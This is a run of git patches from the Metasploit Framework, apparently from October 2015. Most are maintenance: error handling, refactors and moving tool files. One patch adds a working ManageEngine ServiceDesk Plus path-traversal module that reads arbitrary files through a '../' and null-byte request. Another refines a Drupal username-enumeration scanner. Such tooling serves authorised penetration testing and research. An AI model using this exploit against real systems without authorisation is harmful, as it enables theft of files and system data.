+154,11 @@ class Metasploit3 < Msf::Auxiliary buffer += row_count.to_s print_line(buffer) - print_line("") - -# if row_count == 0 -# data_sql = nil -# table_data_sql[full_table + "." + column_name] = nil -# elsif row_count < 4 -# data_sql = "SELECT * from " + full_table -# table_data_sql[full_table + "." + column_name] = data_sql -# else -# data_sql = "SELECT TOP 3 * from " + full_table -# -# # or this will get top, middle and last rows -# -# data_sql = " -# with tmp as (select *,ROW_NUMBER() over (order by " + column_name + ") as rownumber from " + full_table + " ) -# select * from tmp where rownumber between 1 and 1; -# with tmp as (select *,ROW_NUMBER() over (order by " + column_name + ") as rownumber from " + full_table + " ) -# select * from tmp where rownumber between " + (row_count / 2).to_s + " and " + (row_count / 2).to_s + "; -# with tmp as (select *,ROW_NUMBER() over (order by " + column_name + ") as rownumber from " + full_table + " ) -# select * from tmp where rownumber between " + row_count.to_s + " and " + row_count.to_s + "; -# " -# table_data_sql[full_table + "." + column_name] = data_sql -# end + print_line } - print_line("") - - # The code from this point on is for dumping out some sample data however the MSSQL parser isn't working - # correctly so the output is messed up. I'll finish implementing this once the bug is fixed. - -# print_line("") -# print_with_underline("Sample Data") -# print_line("") -# table_data_sql.each_pair { |table, sql| -# if !sql.nil? -# print_with_underline table -# result = mssql_query(sql, true) if mssql_login_datastore -# #print_line result.inspect -# result[:colnames].each { |row| -# print row.ljust(20) -# } -# end -# } -# -# if !data_sql.nil? -# result = mssql_query(data_sql, false) if mssql_login_datastore -# # print_line "INSPECT" -# # print_line result.keys.inspect -# # print_line result[:colnames].inspect -# result[:colnames].each { |row| -# print row.ljust(20) -# } -# print_line("") -# result[:colnames].each { |row| -# print "=" * 20 + " " -# } -# print_line("") -# -# if !result[:rows].nil? -## print_line data_sql -# result[:rows].each { |acol| -# acol.each { |aval| -# # print_line aval -# } -# } -# end -# end + print_line disconnect end + end From dea0142da190108fc0e60616630d74195f8935a0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 2 Oct 2015 16:51:00 -0500 Subject: [PATCH 0832/2172] catch network exceptions --- lib/msf/core/exploit/mssql.rb | 19 +++++++++++++++---- modules/auxiliary/admin/mssql/mssql_idf.rb | 14 ++++++++++---- 2 files changed, 25 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 5b3466dda1..85b5d3f34b 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -385,12 +385,18 @@ module Exploit::Remote::MSSQL disconnect if self.sock connect - # Send a prelogin packet and check that encryption is not enabled - if mssql_prelogin() != ENCRYPT_NOT_SUP - print_error("Encryption is not supported") + begin + # Send a prelogin packet and check that encryption is not enabled + if mssql_prelogin() != ENCRYPT_NOT_SUP + print_error("Encryption is not supported") + return false + end + rescue EOFError + print_error("Probable server or network failure.") return false end + if datastore['USE_WINDOWS_AUTHENT'] idx = 0 @@ -623,7 +629,12 @@ module Exploit::Remote::MSSQL # Packet header and total length including header pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt - resp = mssql_send_recv(pkt) + begin + resp = mssql_send_recv(pkt) + rescue EOFError + print_error("Probable server or network failure.") + return false + end end diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index b51ecf8fc6..f97100c2e9 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -94,10 +94,16 @@ class Metasploit3 < Msf::Auxiliary sql += "CLOSE table_cursor " sql += "DEALLOCATE table_cursor " - if mssql_login_datastore - result = mssql_query(sql, false) - else - print_error('Login failed') + begin + if mssql_login_datastore + result = mssql_query(sql, false) + column_data = result[:rows] + else + print_error('Login failed') + return + end + rescue Rex::ConnectionRefused => e + print_error("Connection failed: #{e}") return end From 711f11abb85d95cf2a5715b195d39f149ec0792c Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 2 Oct 2015 18:29:52 -0500 Subject: [PATCH 0833/2172] Clean up some things --- lib/msf/core/exploit/mssql.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 85b5d3f34b..db99f1da48 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -387,16 +387,15 @@ module Exploit::Remote::MSSQL begin # Send a prelogin packet and check that encryption is not enabled - if mssql_prelogin() != ENCRYPT_NOT_SUP - print_error("Encryption is not supported") + if mssql_prelogin != ENCRYPT_NOT_SUP + print_error('Encryption is not supported') return false end rescue EOFError - print_error("Probable server or network failure.") + print_error('Probable server or network failure') return false end - if datastore['USE_WINDOWS_AUTHENT'] idx = 0 @@ -632,10 +631,9 @@ module Exploit::Remote::MSSQL begin resp = mssql_send_recv(pkt) rescue EOFError - print_error("Probable server or network failure.") + print_error('Probable server or network failure') return false end - end info = {:errors => []} From e6a57d5317d49df7088112990adc37bc08db36aa Mon Sep 17 00:00:00 2001 From: xistence Date: Sat, 3 Oct 2015 15:54:44 +0700 Subject: [PATCH 0834/2172] Add ManageEngine ServiceDesk Plus Path Traversal module --- .../http/servicedesk_plus_traversal.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb new file mode 100644 index 0000000000..c293611696 --- /dev/null +++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine ServiceDesk Plus Path Traversal", + 'Description' => %q{ + This module exploits an unauthenticated path traversal vulnerability found in ManageEngine + ServiceDesk Plus build 9110 and lower. The module will retrieve any file on the filesystem + with the same privileges as Support Center Plus is running. On Windows, files can be retrieved + with SYSTEM privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => 'xistence ', # Discovery, Metasploit module + 'References' => + [ + ], + 'DisclosureDate' => "Oct 03 2015" + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'The base path to the ServiceDesk Plus installation', '/']), + OptString.new('FILE', [true, 'The file to retrieve', '/windows/win.ini']) + ], self.class) + end + + def run_host(ip) + uri = target_uri.path + peer = "#{ip}:#{rport}" + + vprint_status("#{peer} - Retrieving file #{datastore['FILE']}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"), + 'vars_get' => + { + 'module' => 'support', + 'fName' => "/../../../../../../../../../../../../#{datastore['FILE']}\x00", + } + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have retrieved the file either. Print the status code for debugging purposes. + # The "The File was not found" string is returned on a vulnerable environment but the file is not found. + # The "Loding domain list To login AD authentication or local Authentication" string is returned in the response on a fixed version (build 9111) + if res && res.code == 200 + if res.body =~ /The File was not found/ + vprint_error("#{peer} - Vulnerable server, but the file does not exist!") + elsif res.body =~ /Loding domain list To login AD authentication or local Authentication/ + vprint_error("#{peer} - The installed version of ManageEngine ServiceDesk Plus is not vulnerable!") + else + data = res.body + p = store_loot( + 'manageengine.servicedeskplus', + 'application/octet-stream', + ip, + data, + datastore['FILE'] + ) + print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + end + else + vprint_error("#{peer} - Server returned #{res.code.to_s}") + end + end +end + From ed8f5456a47623f18d86c12c551f485bbae2cba6 Mon Sep 17 00:00:00 2001 From: Roberto Soares Date: Sun, 4 Oct 2015 05:53:54 -0300 Subject: [PATCH 0835/2172] Fix bugs in drupal_views_user_enum. --- .../scanner/http/drupal_views_user_enum.rb | 56 +++++++++---------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index c78ded7771..a84a998808 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -44,19 +44,21 @@ class Metasploit3 < Msf::Auxiliary end def check_host(ip) - res = send_request_cgi({ + res = send_request_cgi( 'uri' => base_uri, 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } - }, 25) + ) - if not res + unless res return Exploit::CheckCode::Unknown - elsif res and res.body =~ /\Access denied/ + end + + if res.body.include?('Access denied') # This probably means the Views Module actually isn't installed - vprint_error("#{rhost} - Access denied") + print_error("#{peer} - Access denied") return Exploit::CheckCode::Safe - elsif res and res.message != 'OK' or res.body != '[ ]' + elsif res.message != 'OK' || res.body != '[ ]' return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears @@ -94,59 +96,57 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("Begin enumerating users at #{ip}") + print_status("Begin enumerating users at #{vhost}") results = [] ('a'..'z').each do |l| vprint_status("Iterating on letter: #{l}") - res = send_request_cgi({ - 'uri' => base_uri+l, + res = send_request_cgi( + 'uri' => "#{base_uri}#{l}", 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } - }, 25) + ) - if (res and res.message == "OK") - user_list = res.body.scan(/\w+/) + if res && res.message == 'OK' + begin + user_list = JSON.parse(res.body) + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + return [] + end if user_list.empty? - vprint_line("\tFound: Nothing") + vprint_error("Not found with: #{l}") else - vprint_line("\tFound: #{user_list.inspect}") - results << user_list + vprint_good("Found: #{user_list}") + results << user_list.flatten.uniq end else - print_error("Unexpected results from server") + print_error("#{peer} - Unexpected results from server") return end end - final_results = results.flatten.uniq - - print_status("Done. " + final_results.length.to_s + " usernames found...") - - final_results.each do |user| + print_status("Done. #{results.length} usernames found...") + results.flatten.uniq.each do |user| print_good("Found User: #{user}") report_cred( ip: Rex::Socket.getaddress(datastore['RHOST']), port: datastore['RPORT'], user: user, - proof: base_uri+l + proof: base_uri ) end - # One username per line - final_results = final_results * "\n" - + results = results * "\n" p = store_loot( 'drupal_user', 'text/plain', Rex::Socket.getaddress(datastore['RHOST']), - final_results.to_s, + results.to_s, 'drupal_user.txt' ) - print_status("Usernames stored in: #{p}") end - end From 41b07eeef6b05d0ef76ac205fca3e69befee0382 Mon Sep 17 00:00:00 2001 From: xistence Date: Mon, 5 Oct 2015 08:56:00 +0700 Subject: [PATCH 0836/2172] Small changes to servicedesk_plus_traversal --- .../scanner/http/servicedesk_plus_traversal.rb | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb index c293611696..685b8ccff5 100644 --- a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb +++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb @@ -18,12 +18,13 @@ class Metasploit3 < Msf::Auxiliary This module exploits an unauthenticated path traversal vulnerability found in ManageEngine ServiceDesk Plus build 9110 and lower. The module will retrieve any file on the filesystem with the same privileges as Support Center Plus is running. On Windows, files can be retrieved - with SYSTEM privileges. + with SYSTEM privileges. The issue has been resolved in ServiceDesk Plus build 91111 (issue SD-60283). }, 'License' => MSF_LICENSE, 'Author' => 'xistence ', # Discovery, Metasploit module 'References' => [ + ['URL', 'https://www.manageengine.com/products/service-desk/readme-9.1.html'], ], 'DisclosureDate' => "Oct 03 2015" )) @@ -31,6 +32,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]), OptString.new('TARGETURI', [true, 'The base path to the ServiceDesk Plus installation', '/']), OptString.new('FILE', [true, 'The file to retrieve', '/windows/win.ini']) ], self.class) @@ -38,7 +40,9 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) uri = target_uri.path - peer = "#{ip}:#{rport}" + traversal = "../" * datastore['DEPTH'] + filename = datastore['FILE'] + filename = filename[1, filename.length] if filename =~ /^\// vprint_status("#{peer} - Retrieving file #{datastore['FILE']}") res = send_request_cgi({ @@ -47,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary 'vars_get' => { 'module' => 'support', - 'fName' => "/../../../../../../../../../../../../#{datastore['FILE']}\x00", + 'fName' => "#{traversal}#{filename}\x00", } }) @@ -61,15 +65,14 @@ class Metasploit3 < Msf::Auxiliary elsif res.body =~ /Loding domain list To login AD authentication or local Authentication/ vprint_error("#{peer} - The installed version of ManageEngine ServiceDesk Plus is not vulnerable!") else - data = res.body p = store_loot( 'manageengine.servicedeskplus', 'application/octet-stream', ip, - data, - datastore['FILE'] + res.body, + filename ) - print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + print_good("#{peer} - File saved in: #{p}") end else vprint_error("#{peer} - Server returned #{res.code.to_s}") From 32255a46216f218530925c9df65118d454507417 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 5 Oct 2015 11:05:05 -0500 Subject: [PATCH 0837/2172] Always show the URI and User-Agent for unknown requests --- lib/msf/core/handler/reverse_http.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index fb643c2fea..2de003bfcc 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -245,9 +245,11 @@ protected conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'" + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID") + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}") info[:mode] = :unknown_uuid end @@ -255,7 +257,7 @@ protected if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] unless allowed_urls.include?(req.relative_resource) - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring request with unknown UUID URL #{req.relative_resource}") + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}") info[:mode] = :unknown_uuid_url end end @@ -265,7 +267,7 @@ protected # Process the requested resource. case info[:mode] when :init_connect - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...") + print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -388,7 +390,7 @@ protected else unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}") end resp.code = 200 resp.message = 'OK' From 3f2d5d7f061d56938453247d6901c0e1c86fc5ad Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 5 Oct 2015 11:42:58 -0500 Subject: [PATCH 0838/2172] Add newline back in --- modules/auxiliary/scanner/http/drupal_views_user_enum.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index a84a998808..56412ba3f2 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -149,4 +149,5 @@ class Metasploit3 < Msf::Auxiliary ) print_status("Usernames stored in: #{p}") end + end From 2769d66bfcfe5d57cb4c59469e4ee031aac38ce0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 5 Oct 2015 15:13:11 -0500 Subject: [PATCH 0839/2172] Check if the payload has a include_send_uuid method before calling it Otherwise we get an undefined method exception and the payload fails to stage. Fixes #6040 --- lib/msf/core/payload/stager.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 9d61ab3dce..cf3e51a709 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -45,7 +45,7 @@ module Msf::Payload::Stager proto = 'http' end send("transport_config_#{direction}_#{proto}", opts) - end + end # # Sets the payload type to a stager. @@ -159,10 +159,12 @@ module Msf::Payload::Stager if (stage_over_connection?) opts = {} - if include_send_uuid - uuid_raw = conn.get_once(16, 1) - if uuid_raw - opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + if respond_to? :include_send_uuid + if include_send_uuid + uuid_raw = conn.get_once(16, 1) + if uuid_raw + opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + end end end From 6b558010f04d82b201f0a58f26fa493b209902b0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 5 Oct 2015 15:16:18 -0500 Subject: [PATCH 0840/2172] Remove redundant methods included with ReverseTcp --- lib/msf/core/handler/reverse_tcp_ssl.rb | 27 ------------------------- 1 file changed, 27 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 7863a8a063..705e2e7b71 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -105,33 +105,6 @@ module ReverseTcpSsl raise ex if (ex) end -protected - - def bind_port - port = datastore['ReverseListenerBindPort'].to_i - port > 0 ? port : datastore['LPORT'].to_i - end - - def bind_address - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] - - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - - addrs - end - end end From bc46b41bbeebecdd5bbc03ae81faa174b35c43d2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 5 Oct 2015 16:37:22 -0500 Subject: [PATCH 0841/2172] Change tools structure --- spec/tools/cpassword_decrypt_spec.rb | 2 +- spec/tools/egghunter_spec.rb | 2 +- spec/tools/java_deserializer_spec.rb | 2 +- spec/tools/jsobfu_spec.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/msu_finder_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index a063c980b0..c7fbe94cbf 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path +load Metasploit::Framework.root.join('tools/pentest/password/cpassword_decrypt.rb').to_path require 'msfenv' require 'msf/base' diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index 752f937db4..aa47d7a759 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/egghunter.rb').to_path +load Metasploit::Framework.root.join('tools/exploit_dev/egghunter.rb').to_path require 'stringio' diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index ada6d79415..17d146070d 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -1,7 +1,7 @@ require 'rex/java' require 'stringio' -load Metasploit::Framework.root.join('tools/java_deserializer.rb').to_path +load Metasploit::Framework.root.join('tools/exploit_dev/java_deserializer.rb').to_path describe JavaDeserializer do diff --git a/spec/tools/jsobfu_spec.rb b/spec/tools/jsobfu_spec.rb index 5cfa463bd8..be9bc4867a 100644 --- a/spec/tools/jsobfu_spec.rb +++ b/spec/tools/jsobfu_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/jsobfu.rb').to_path +load Metasploit::Framework.root.join('tools/pentest/file/jsobfu.rb').to_path require 'stringio' diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 3027304eca..940cba6f58 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/md5_lookup.rb').to_path +load Metasploit::Framework.root.join('tools/pentest/password/md5_lookup.rb').to_path require 'rex/proto/http/response' require 'stringio' diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index d85dce3d2c..28240c834c 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -1,4 +1,4 @@ -load Metasploit::Framework.root.join('tools/msu_finder.rb').to_path +load Metasploit::Framework.root.join('tools/exploit_dev/msu_finder.rb').to_path require 'nokogiri' require 'uri' diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index a3250f3855..6b056a76cf 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -load Metasploit::Framework.root.join('tools/virustotal.rb').to_path +load Metasploit::Framework.root.join('tools/pentest/file/virustotal.rb').to_path require 'msfenv' require 'msf/base' From 540af3e5aec46a1de64830ae6c63f2bf13860efa Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 5 Oct 2015 22:49:54 -0500 Subject: [PATCH 0842/2172] Move tools --- tools/{ => exploit}/egghunter.rb | 0 tools/{ => exploit}/exe2vba.rb | 0 tools/{ => exploit}/exe2vbs.rb | 0 tools/{ => exploit}/extract_msu.bat | 0 tools/{ => exploit}/find_badchars.rb | 0 tools/{ => exploit}/install_msf_apk.sh | 0 tools/{ => exploit}/java_deserializer.rb | 0 tools/{ => exploit}/jsobfu.rb | 0 tools/{ => exploit}/metasm_shell.rb | 0 tools/{ => exploit}/msf_irb_shell.rb | 0 tools/{ => exploit}/msu_finder.rb | 0 tools/{ => exploit}/nasm_shell.rb | 0 tools/{ => exploit}/pattern_create.rb | 0 tools/{ => exploit}/pattern_offset.rb | 0 tools/{ => exploit}/pdf2xdp.rb | 0 tools/{ => exploit}/psexec.rb | 0 tools/{ => exploit}/reg.rb | 0 tools/{ => exploit}/virustotal.rb | 0 tools/{ => modules}/committer_count.rb | 0 tools/{ => modules}/missing_payload_tests.rb | 0 tools/{ => modules}/module_author.rb | 0 tools/{ => modules}/module_commits.rb | 0 tools/{ => modules}/module_count.rb | 0 tools/{ => modules}/module_disclodate.rb | 0 tools/{ => modules}/module_license.rb | 0 tools/{ => modules}/module_mixins.rb | 0 tools/{ => modules}/module_payloads.rb | 0 tools/{ => modules}/module_ports.rb | 0 tools/{ => modules}/module_rank.rb | 0 tools/{ => modules}/module_reference.rb | 0 tools/{ => modules}/module_targets.rb | 0 tools/{ => modules}/msftidy.rb | 0 tools/{ => modules}/payload_lengths.rb | 0 tools/{ => modules}/profile.sh | 0 tools/{ => modules}/update_payload_cached_sizes.rb | 0 tools/{ => modules}/verify_datastore.rb | 0 tools/{ => password}/cpassword_decrypt.rb | 0 tools/{ => password}/halflm_second.rb | 0 tools/{ => password}/hmac_sha1_crack.rb | 0 tools/{ => password}/lm2ntcrack.rb | 0 tools/{ => password}/md5_lookup.rb | 0 tools/{ => password}/vxdigger.rb | 0 tools/{ => password}/vxencrypt.rb | 0 tools/{ => password}/vxmaster.rb | 0 tools/{ => password}/winscp_decrypt.rb | 0 tools/{ => recon}/google_geolocate_bssid.rb | 0 tools/{ => recon}/list_interfaces.rb | 0 tools/{ => recon}/makeiplist.rb | 0 48 files changed, 0 insertions(+), 0 deletions(-) rename tools/{ => exploit}/egghunter.rb (100%) rename tools/{ => exploit}/exe2vba.rb (100%) rename tools/{ => exploit}/exe2vbs.rb (100%) rename tools/{ => exploit}/extract_msu.bat (100%) rename tools/{ => exploit}/find_badchars.rb (100%) rename tools/{ => exploit}/install_msf_apk.sh (100%) rename tools/{ => exploit}/java_deserializer.rb (100%) rename tools/{ => exploit}/jsobfu.rb (100%) rename tools/{ => exploit}/metasm_shell.rb (100%) rename tools/{ => exploit}/msf_irb_shell.rb (100%) rename tools/{ => exploit}/msu_finder.rb (100%) rename tools/{ => exploit}/nasm_shell.rb (100%) rename tools/{ => exploit}/pattern_create.rb (100%) rename tools/{ => exploit}/pattern_offset.rb (100%) rename tools/{ => exploit}/pdf2xdp.rb (100%) rename tools/{ => exploit}/psexec.rb (100%) rename tools/{ => exploit}/reg.rb (100%) rename tools/{ => exploit}/virustotal.rb (100%) rename tools/{ => modules}/committer_count.rb (100%) rename tools/{ => modules}/missing_payload_tests.rb (100%) rename tools/{ => modules}/module_author.rb (100%) rename tools/{ => modules}/module_commits.rb (100%) rename tools/{ => modules}/module_count.rb (100%) rename tools/{ => modules}/module_disclodate.rb (100%) rename tools/{ => modules}/module_license.rb (100%) rename tools/{ => modules}/module_mixins.rb (100%) rename tools/{ => modules}/module_payloads.rb (100%) rename tools/{ => modules}/module_ports.rb (100%) rename tools/{ => modules}/module_rank.rb (100%) rename tools/{ => modules}/module_reference.rb (100%) rename tools/{ => modules}/module_targets.rb (100%) rename tools/{ => modules}/msftidy.rb (100%) rename tools/{ => modules}/payload_lengths.rb (100%) rename tools/{ => modules}/profile.sh (100%) rename tools/{ => modules}/update_payload_cached_sizes.rb (100%) rename tools/{ => modules}/verify_datastore.rb (100%) rename tools/{ => password}/cpassword_decrypt.rb (100%) rename tools/{ => password}/halflm_second.rb (100%) rename tools/{ => password}/hmac_sha1_crack.rb (100%) rename tools/{ => password}/lm2ntcrack.rb (100%) rename tools/{ => password}/md5_lookup.rb (100%) rename tools/{ => password}/vxdigger.rb (100%) rename tools/{ => password}/vxencrypt.rb (100%) rename tools/{ => password}/vxmaster.rb (100%) rename tools/{ => password}/winscp_decrypt.rb (100%) rename tools/{ => recon}/google_geolocate_bssid.rb (100%) rename tools/{ => recon}/list_interfaces.rb (100%) rename tools/{ => recon}/makeiplist.rb (100%) diff --git a/tools/egghunter.rb b/tools/exploit/egghunter.rb similarity index 100% rename from tools/egghunter.rb rename to tools/exploit/egghunter.rb diff --git a/tools/exe2vba.rb b/tools/exploit/exe2vba.rb similarity index 100% rename from tools/exe2vba.rb rename to tools/exploit/exe2vba.rb diff --git a/tools/exe2vbs.rb b/tools/exploit/exe2vbs.rb similarity index 100% rename from tools/exe2vbs.rb rename to tools/exploit/exe2vbs.rb diff --git a/tools/extract_msu.bat b/tools/exploit/extract_msu.bat similarity index 100% rename from tools/extract_msu.bat rename to tools/exploit/extract_msu.bat diff --git a/tools/find_badchars.rb b/tools/exploit/find_badchars.rb similarity index 100% rename from tools/find_badchars.rb rename to tools/exploit/find_badchars.rb diff --git a/tools/install_msf_apk.sh b/tools/exploit/install_msf_apk.sh similarity index 100% rename from tools/install_msf_apk.sh rename to tools/exploit/install_msf_apk.sh diff --git a/tools/java_deserializer.rb b/tools/exploit/java_deserializer.rb similarity index 100% rename from tools/java_deserializer.rb rename to tools/exploit/java_deserializer.rb diff --git a/tools/jsobfu.rb b/tools/exploit/jsobfu.rb similarity index 100% rename from tools/jsobfu.rb rename to tools/exploit/jsobfu.rb diff --git a/tools/metasm_shell.rb b/tools/exploit/metasm_shell.rb similarity index 100% rename from tools/metasm_shell.rb rename to tools/exploit/metasm_shell.rb diff --git a/tools/msf_irb_shell.rb b/tools/exploit/msf_irb_shell.rb similarity index 100% rename from tools/msf_irb_shell.rb rename to tools/exploit/msf_irb_shell.rb diff --git a/tools/msu_finder.rb b/tools/exploit/msu_finder.rb similarity index 100% rename from tools/msu_finder.rb rename to tools/exploit/msu_finder.rb diff --git a/tools/nasm_shell.rb b/tools/exploit/nasm_shell.rb similarity index 100% rename from tools/nasm_shell.rb rename to tools/exploit/nasm_shell.rb diff --git a/tools/pattern_create.rb b/tools/exploit/pattern_create.rb similarity index 100% rename from tools/pattern_create.rb rename to tools/exploit/pattern_create.rb diff --git a/tools/pattern_offset.rb b/tools/exploit/pattern_offset.rb similarity index 100% rename from tools/pattern_offset.rb rename to tools/exploit/pattern_offset.rb diff --git a/tools/pdf2xdp.rb b/tools/exploit/pdf2xdp.rb similarity index 100% rename from tools/pdf2xdp.rb rename to tools/exploit/pdf2xdp.rb diff --git a/tools/psexec.rb b/tools/exploit/psexec.rb similarity index 100% rename from tools/psexec.rb rename to tools/exploit/psexec.rb diff --git a/tools/reg.rb b/tools/exploit/reg.rb similarity index 100% 